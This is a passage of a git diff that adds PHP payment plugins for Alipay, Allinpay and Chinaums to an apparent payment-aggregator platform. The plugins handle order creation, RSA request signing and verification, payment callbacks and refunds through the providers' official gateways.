TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $app_id + ]; + if($user_type == 'openid'){ + $bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + $alipay_trade_no = $result['trade_no']; + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>'支付宝下单失败!'.$e->getMessage()])); + } + exit(json_encode(['code'=>0, 'data'=>$alipay_trade_no])); + } + + //H5跳转小程序支付 + static public function minipay(){ + global $siteurl, $channel, $conf; + + $code_url = alipaymini_jump_scheme(TRADE_NO, $channel['appid']); + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //付款码支付 + static public function scanpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'auth_code' => $order['auth_code'], + 'scene' => 'bar_code', + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->scanPay($bizContent); + if(!empty($result['buyer_user_id'])){ + $buyer_id = $result['buyer_user_id']; + }else{ + $buyer_id = $result['buyer_open_id']; + } + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['trade_no'], 'buyer'=>$buyer_id, 'money'=>$result['total_amount']]]; + }catch(\Alipay\Aop\AlipayResponseException $e){ + $code = $e->getRetCode(); + if($code == '10003' || $code == '20000'){ + if($code == '10003') sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $aop->query(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_status'] == 'TRADE_SUCCESS'){ + $success = true; + break; + }elseif($result['trade_status'] != 'WAIT_BUYER_PAY'){ + return ['type'=>'error','msg'=>'支付宝支付失败!订单超时或用户取消支付']; + } + $retry++; + } + if($success){ + if(!empty($result['buyer_user_id'])){ + $buyer_id = $result['buyer_user_id']; + }else{ + $buyer_id = $result['buyer_open_id']; + } + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['trade_no'], 'buyer'=>$buyer_id, 'money'=>$result['total_amount']]]; + }else{ + try{ + $aop->cancel(['out_trade_no'=>TRADE_NO]); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'支付宝支付失败!订单已超时']; + } + } + return ['type'=>'error','msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_trade_no']; + + //支付宝交易号 + $trade_no = $_POST['trade_no']; + + //买家支付宝 + $buyer_id = $_POST['buyer_id']; + if(empty($buyer_id))$buyer_id = $_POST['buyer_open_id']; + + //交易金额 + $total_amount = $_POST['total_amount']; + + if($_POST['trade_status'] == 'TRADE_FINISHED') { + //退款日期超过可退款期限后(如三个月可退款),支付宝系统发送该交易状态通知 + } + else if ($_POST['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no, $buyer_id); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_GET); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //支付宝交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $total_amount = $_GET['total_amount']; + + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'支付宝返回验证失败']; + } + } + + //预授权支付回调 + static public function preauthnotify(){ + global $channel, $order, $conf, $ordername, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $aop = new \Alipay\AlipayService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_order_no']; + + //资金授权订单号 + $auth_no = $_POST['auth_no']; + + $buyer_id = $result['payer_user_id']; + + if($out_trade_no == TRADE_NO){ + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'PREAUTH_PAY', + 'auth_no' => $auth_no, + 'auth_confirm_mode' => 'COMPLETE' + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->scanPay($bizContent); + }catch(Exception $e){ + \lib\Payment::updateOrder(TRADE_NO, $auth_no, $buyer_id, 4); + return ['type'=>'html','data'=>'success']; + //return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $trade_no = $result['trade_no']; + $buyer_id = $result['buyer_user_id']; + $total_amount = $result['total_amount']; + + processNotify($order, $trade_no, $buyer_id); + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $bizContent = [ + 'trade_no' => $order['api_trade_no'], + 'refund_amount' => $order['refundmoney'], + 'out_request_no' => $order['refund_no'] + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->refund($bizContent); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_fee'], 'refund_time'=>$result['gmt_refund_pay'], 'buyer'=>$result['buyer_user_id']]; + } + + //支付宝应用网关 + static public function appgw(){ + global $channel,$DB; + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayService($alipay_config); + $verify_result = $aop->check($_POST); + if($verify_result){ + if($_POST['msg_method'] == 'alipay.merchant.tradecomplain.changed'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['complain_event_id'])){ + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($bizContent['complain_event_id']); + } + }elseif($_POST['notify_type'] == 'open_app_auth_notify'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['app_auth_token'])){ + $model = \lib\Applyments\CommUtil::getModel2($channel); + $model->callback($bizContent); + } + } + /*if($_POST['service']=='alipay.adatabus.risk.end.push' || $_POST['service']=='alipay.riskgo.risk.push'){ + if($_POST['charset'] == 'GBK'){ + $_POST['risktype'] = mb_convert_encoding($_POST['risktype'], "UTF-8", "GBK"); + $_POST['risklevel'] = mb_convert_encoding($_POST['risklevel'], "UTF-8", "GBK"); + $_POST['riskDesc'] = mb_convert_encoding($_POST['riskDesc'], "UTF-8", "GBK"); + $_POST['complainText'] = mb_convert_encoding($_POST['complainText'], "UTF-8", "GBK"); + } + $DB->exec("INSERT INTO `pre_alipayrisk` (`channel`,`pid`,`smid`,`tradeNos`,`risktype`,`risklevel`,`riskDesc`,`complainTime`,`complainText`,`date`,`status`) VALUES (:channel, :pid, :smid, :tradeNos, :risktype, :risklevel, :riskDesc, :complainTime, :complainText, NOW(), 0)", [':channel'=>$channelid, ':pid'=>$_POST['pid'], ':smid'=>$_POST['smid']?$_POST['smid']:$_POST['merchantId'], ':tradeNos'=>$_POST['tradeNos'], ':risktype'=>$_POST['risktype'], ':risklevel'=>$_POST['risklevel'], ':riskDesc'=>$_POST['riskDesc'], ':complainTime'=>$_POST['complainTime'], ':complainText'=>$_POST['complainText']]); + }*/ + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'check sign fail']; + } + } +} \ No newline at end of file diff --git a/plugins/alipaysl/inc/config.php b/plugins/alipaysl/inc/config.php new file mode 100644 index 0000000..460aca2 --- /dev/null +++ b/plugins/alipaysl/inc/config.php @@ -0,0 +1,38 @@ + $channel['appid'], + + //支付宝公钥 + 'alipay_public_key' => $channel['appkey'], + + //应用私钥 + 'app_private_key' => $channel['appsecret'], + + //商户授权token + 'app_auth_token' => $channel['appmchid'], + + //签名方式,默认为RSA2 + 'sign_type' => "RSA2", + + //编码格式 + 'charset' => "UTF-8", + + //支付宝网关 + 'gateway_url' => "https://openapi.alipay.com/gateway.do", + + //日志记录位置 + 'log_path' => dirname(__FILE__).'/log/', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayRootCert.crt'; +} +elseif(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayRootCert.crt'; +} +return $alipay_config; \ No newline at end of file diff --git a/plugins/allinpay/allinpay_plugin.php b/plugins/allinpay/allinpay_plugin.php new file mode 100644 index 0000000..8f4af8e --- /dev/null +++ b/plugins/allinpay/allinpay_plugin.php @@ -0,0 +1,300 @@ + 'allinpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '通联支付', //支付插件显示名称 + 'author' => '通联', //支付插件作者 + 'link' => 'https://www.allinpay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appid' => [ + 'name' => '应用ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '通联公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return self::wxjspay(); + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //统一支付接口 + static private function addOrder($paytype, $sub_appid = null, $openid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayService.class.php"); + + $apiurl = 'https://vsp.allinpay.com/apiweb/unitorder/pay'; + + $params = [ + 'trxamt' => strval($order['realmoney']*100), + 'reqsn' => TRADE_NO, + 'paytype' => $paytype, + 'randomstr' => random(32), + 'body' => $ordername, + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'cusip' => $clientip, + ]; + if($sub_appid && $openid){ + $params['sub_appid'] = $sub_appid; + $params['acct'] = $openid; + $params['front_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + } + + $client = new PayService($channel['appmchid'],$channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->submit($apiurl, $params); + return $result['payinfo']; + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::addOrder('A01'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::addOrder('W01'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if ($channel['appwxa']>0) { + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try { + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + } catch (Exception $e) { + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif($channel['appwxmp']>0){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $payinfo = self::addOrder('W02', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$payinfo, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $payinfo = self::addOrder('W06', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($payinfo, true)])); + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::addOrder('Q01'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder('U01'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/PayService.class.php"); + + $client = new PayService($channel['appmchid'],$channel['appid'],$channel['appkey'],$channel['appsecret']); + $verify_result = $client->verifySign($_POST); + + if($verify_result) {//验证成功 + + if ($_POST['trxstatus'] == '0000') { + $out_trade_no = $_POST['cusorderid']; + $api_trade_no = $_POST['trxid']; + $money = $_POST['initamt']; + if($out_trade_no == TRADE_NO && strval($order['realmoney']*100) == $money){ + processNotify($order, $api_trade_no); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/PayService.class.php"); + + $apiurl = 'https://vsp.allinpay.com/apiweb/tranx/refund'; + + $params = [ + 'trxamt' => strval($order['refundmoney']*100), + 'reqsn' => $order['refund_no'], + 'oldtrxid' => $order['api_trade_no'], + 'randomstr' => random(32), + ]; + + try{ + $client = new PayService($channel['appmchid'],$channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->submit($apiurl, $params); + + return ['code'=>0, 'trade_no'=>$result['trxid'], 'refund_fee'=>$result['fee']]; + + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/allinpay/inc/PayService.class.php b/plugins/allinpay/inc/PayService.class.php new file mode 100644 index 0000000..50cddc6 --- /dev/null +++ b/plugins/allinpay/inc/PayService.class.php @@ -0,0 +1,98 @@ +cusid = $cusid; + $this->appid = $appid; + $this->platform_public_key = $platform_public_key; + $this->merchant_private_key = $merchant_private_key; + } + + //发起API请求 + public function submit($requrl, $params){ + $public_params = [ + 'cusid' => $this->cusid, + 'appid' => $this->appid, + 'version' => $this->version, + 'signtype' => $this->sign_type, + ]; + + $params = array_merge($public_params, $params); + $params['sign'] = $this->generateSign($params); + + $response = get_curl($requrl, http_build_query($params)); + $result = json_decode($response, true); + if(isset($result['retcode']) && $result['retcode']=='SUCCESS'){ + return $result; + }elseif(isset($result['retmsg'])){ + throw new Exception($result['retmsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $priKey = $this->merchant_private_key; + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($priKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $pubKey = $this->platform_public_key; + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($pubKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid); + return $result; + } + +} \ No newline at end of file diff --git a/plugins/chinaums/chinaums_plugin.php b/plugins/chinaums/chinaums_plugin.php new file mode 100644 index 0000000..73f4b1a --- /dev/null +++ b/plugins/chinaums/chinaums_plugin.php @@ -0,0 +1,451 @@ + 'chinaums', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '银联商务', //支付插件显示名称 + 'author' => '银联商务', //支付插件作者 + 'link' => 'https://open.chinaums.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'AppId', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'AppKey', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号mid', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '终端号tid', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '通讯密钥', + 'type' => 'input', + 'note' => '', + ], + 'msgsrcid' => [ + 'name' => '来源编号', + 'type' => 'input', + 'note' => '4位来源编号', + ], + 'appswitch' => [ + 'name' => '环境选择', + 'type' => 'select', + 'options' => [0=>'生产环境',1=>'测试环境'], + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + //'3' => 'APP支付', + ], + 'select_wxpay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + '3' => 'H5转小程序支付', + //'4' => 'APP支付', + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(in_array('2',$channel['apptype']) && checkmobile()){ + $code_url = self::h5pay('alipay'); + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(in_array('2',$channel['apptype']) && checkmobile()){ + $code_url = self::h5pay('wxpay'); + return ['type'=>'jump','url'=>$code_url]; + }elseif(in_array('3',$channel['apptype']) && checkmobile()){ + $code_url = self::h5pay('wxminipay'); + return ['type'=>'jump','url'=>$code_url]; + }elseif(in_array('4',$channel['apptype']) && checkmobile() && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>'/pay/wxapppay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if(in_array('2',$channel['apptype']) && $device=='mobile'){ + $code_url = self::h5pay('alipay'); + return ['type'=>'jump','url'=>$code_url]; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if(in_array('2',$channel['apptype']) && $device=='mobile'){ + $code_url = self::h5pay('wxpay'); + return ['type'=>'jump','url'=>$code_url]; + }elseif(in_array('3',$channel['apptype']) && $device=='mobile'){ + $code_url = self::h5pay('wxminipay'); + return ['type'=>'jump','url'=>$code_url]; + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码下单 + static private function qrcode(){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require(PAY_ROOT."inc/Build.class.php"); + + $client = new ChinaumsBuild($channel['appid'], $channel['appkey'], $channel['appswitch'] == 1); + + $path = '/v1/netpay/bills/get-qrcode'; + $time = time(); + $param = [ + 'msgId' => md5(uniqid(mt_rand(), true)), + 'requestTimestamp' => date('Y-m-d H:i:s', $time), + 'mid' => $channel['appmchid'], + 'tid' => $channel['appurl'], + 'instMid' => 'QRPAYDEFAULT', + 'billNo' => $channel['msgsrcid'].TRADE_NO, + 'billDate' => date('Y-m-d', $time), + 'billDesc' => $ordername, + 'totalAmount' => intval(round($order['realmoney']*100)), + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'returnUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'clientIp' => $clientip, + ]; + if($order['profits']>0){ + self::handleProfits($param); + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $path, $param, $time) { + $result = $client->request($path, $param, $time); + if(isset($result['errCode']) && $result['errCode']=='SUCCESS'){ + return $result['billQRCode']; + }elseif(isset($result['errMsg'])){ + throw new Exception($result['errMsg']); + }elseif(isset($result['errInfo'])){ + throw new Exception($result['errInfo']); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + static private function h5pay($pay_type){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require(PAY_ROOT."inc/Build.class.php"); + + $client = new ChinaumsBuild($channel['appid'], $channel['appkey'], $channel['appswitch'] == 1); + + if($pay_type == 'alipay'){ + $path = '/v1/netpay/trade/h5-pay'; + }elseif($pay_type == 'wxpay'){ + $path = '/v1/netpay/wxpay/h5-pay'; + }elseif($pay_type == 'wxminipay'){ + $path = '/v1/netpay/wxpay/h5-to-minipay'; + } + + $time = time(); + $param = [ + 'msgId' => md5(uniqid(mt_rand(), true)), + 'requestTimestamp' => date('Y-m-d H:i:s', $time), + 'mid' => $channel['appmchid'], + 'tid' => $channel['appurl'], + 'instMid' => 'H5DEFAULT', + 'merOrderId' => $channel['msgsrcid'].TRADE_NO, + 'orderDesc' => $ordername, + 'totalAmount' => intval(round($order['realmoney']*100)), + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'returnUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'clientIp' => $clientip, + ]; + if($pay_type == 'wxpay'){ + $param['sceneType'] = 'AND_WAP'; + $param['merAppName'] = $conf['sitename']; + $param['merAppId'] = $siteurl; + } + if($order['profits']>0){ + self::handleProfits($param); + } + + $url = $client->requestGet($path, $param, $time); + + \lib\Payment::updateOrderCombine(TRADE_NO); + + return $url; + } + + //APP支付(跳转小程序) + static private function apppay($pay_type, $sub_app_id = null){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require(PAY_ROOT."inc/Build.class.php"); + + $client = new ChinaumsBuild($channel['appid'], $channel['appkey'], $channel['appswitch'] == 1); + + if($pay_type == 'alipay'){ + $path = '/v1/netpay/trade/app-pre-order'; + }elseif($pay_type == 'wxpay'){ + $path = '/v1/netpay/wx/app-pre-order'; + }elseif($pay_type == 'bank'){ + $path = '/v1/netpay/uac/app-order'; + } + $time = time(); + $param = [ + 'msgId' => md5(uniqid(mt_rand(), true)), + 'requestTimestamp' => date('Y-m-d H:i:s', $time), + 'mid' => $channel['appmchid'], + 'tid' => $channel['appurl'], + 'instMid' => 'APPDEFAULT', + 'merOrderId' => $channel['msgsrcid'].TRADE_NO, + 'orderDesc' => $ordername, + 'totalAmount' => intval(round($order['realmoney']*100)), + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'clientIp' => $clientip, + ]; + if($sub_app_id){ + $param['subAppId'] = $sub_app_id; + } + if($order['profits']>0){ + self::handleProfits($param); + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $path, $param, $time) { + $result = $client->request($path, $param, $time); + if(isset($result['errCode']) && $result['errCode']=='SUCCESS'){ + return $result['appPayRequest']; + }elseif(isset($result['errMsg'])){ + throw new Exception($result['errMsg']); + }elseif(isset($result['errInfo'])){ + throw new Exception($result['errInfo']); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + static private function handleProfits(&$param){ + global $order, $channel; + $psreceiver = \lib\ProfitSharing\CommUtil::getReceiver($order['profits']); + 